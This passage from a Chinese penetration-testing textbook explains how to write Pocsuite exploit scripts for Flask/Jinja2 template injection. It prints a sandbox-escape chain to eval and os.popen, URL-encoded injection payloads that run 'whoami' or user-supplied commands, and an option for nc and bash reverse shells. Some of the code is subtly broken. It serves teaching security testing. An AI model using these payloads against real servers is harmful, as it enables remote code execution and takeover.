Python安全攻防:渗透测试实战指南
上QQ阅读APP看书,第一时间看更新

3.3 EXP脚本编写

EXP脚本的编写与POC脚本编写一样,只需要修改_attack部分,替换成漏洞利用的脚本即可。要利用Flask漏洞,需要用到Python的特性。关于如何在Jinja2模板中执行Python代码,官方给出的方法是在模板环境中注册函数就可以进行调用。

Jinja2模板访问Python的内置变量并调用时,需要用到Python沙盒逃逸方法,具体参数如下所示。

·__bases__:以元组返回一个类所直接继承的类。

·__mro__:以元组返回继承关系链。

·__class__:返回对象所属的类。

·__globals__:以dict返回函数所在模块命名空间中的所有变量。

·__subclasses__():以列表返回类的子类。

·_builtins_:内建函数。

Python中可以直接运行一些函数,如int()、list()等,这些函数可以在__builtins__中查到。查看的方法是dir(__builtins__)。利用Python的特性,渗透测试的思路是利用_builtins_的特性得到eval,如下所示:


for c in ().__class__.__base__[0].__subclass__():
    if c.__name__=='_IterationGuard':
    c.__init__.__globals__['__builtins__']['eval']("__import__('os').system
        ('whoami')")

再将其转为Jinja2语法格式。Jinja2的语法与Python语法相似,但在每个语句的开始和结束处需要使用{{%%}}括起来,转化后的代码如下所示:


{%%20for%20c%20in%20[].__class__.__base__.__subclass__()%20%}%20{%' \
'%20if%20c.__name__==%27_IterationGuard%27%20%}%20{{%20c.__init__.__globals__[%27__
    builtins__%27]' \
'[%27eval%27]("__import__(%27os%27).popen(%27whoami%27.read()")%20%%}%20{%%20end-
    if%20%}%20{%' \
'%20endfor%20%}

最后将此EXP写到_attack方法中,便完成了EXP的编写,如下所示:


def __attack(self):
    '''attack mode'''
    result = {}
    path = "/?name="
    url = self.url + path
    payload = '{%%20for%20c%20in%20[].__class__.__base__.__subclass__()%20
          %}%20{%' \
'%20if%20c.__name__==%27_IterationGuard%27%20%}%20{{%20c.__init__.__globals__[%27__
    builtins__%27]' \
'[%27eval%27]("__import__(%27os%27).popen(%27whoami%27.read()")%20%%}%20{%%20end-
    if%20%}%20{%' \
'%20endfor%20%}'

    try:
        resq = requests.get(url + payload)
        if resq and resq.status_code == 200 and "www" in resq.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception,e:
            pass
        return self.parse_output(result)

如此便完成了Pocsuite的POC和EXP编写,程序运行结果如图3-4所示。

图3-4 Pocsuite利用脚本

利用Pocsuite 3开源框架,可以接收用户输入的命令行参数,对目标系统进行半交互控制,具体实现过程如下所示。

首先,根据官方文档说明,编写一个接收自定义命令的函数,将接收到的命令赋值给command参数。


def _options(self):
    o = OrderedDict()
    payload = {
        "nc": REVERSE_PAYLOAD.NC,
        "bash": REVERSE_PAYLOAD.BASH,
    }
    o["command"] = OptDict(selected="bash", default=payload)
    return o

接下来,创造一个cmd变量,用于接收用户输入的command命令参数,并嵌入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目标系统,这样就能够在目标系统中执行命令了。最后,将命令执行结果输出。代码如下所示:


def _attack(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__
            subclasses__()'\
        '%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%
            27%20%25%7D%0A%20%20%7B%25%20'\
        'for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B
            %25%20if%20b.__class__'\
        '%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20
            %27eval%27%20in%20b.keys()'\
        '%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__
            ("os").popen("'+cmd+'").read()%27)'\
        '%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif
            %20%25%7D%0A%20%20%7B%25%20endfor'\
        '%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        try:
            resq = requests.get(url + payload)
            t = resq.text 
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = t
        except Exception as e:
            return

执行命令pocsuite-r 1.py-uhttp://x.x.x.x:8000/--attack--command'id',最终效果如图3-5所示。

图3-5 执行EXP攻击

Flask漏洞主要利用了框架的特点,在Flask中,“{{}}”中的内容会被当作代码执行,相应的防御中就需要对“{{}}”进行过滤,禁止此符号传入参数中。